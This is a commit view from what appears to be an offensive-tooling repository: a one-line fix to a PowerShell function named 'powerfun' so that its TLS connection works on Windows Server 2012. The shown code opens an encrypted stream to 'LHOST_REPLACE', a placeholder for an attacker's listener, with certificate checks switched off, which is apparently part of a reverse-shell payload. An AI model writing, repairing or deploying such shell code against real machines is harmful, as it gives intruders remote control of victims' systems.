fix ssl connection on Windows Server 2012

This commit is contained in:
Tim W 2021-11-09 16:24:46 +00:00
parent e5ef1bb7fc
commit e10eaec84c
1 changed files with 1 additions and 1 deletions

View File

@ -30,7 +30,7 @@ function powerfun
if ($Sslcon -eq "true")
{
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient("LHOST_REPLACE")
$sslStream.AuthenticateAsClient("LHOST_REPLACE",$null,"tls12",$false)
$stream = $sslStream
}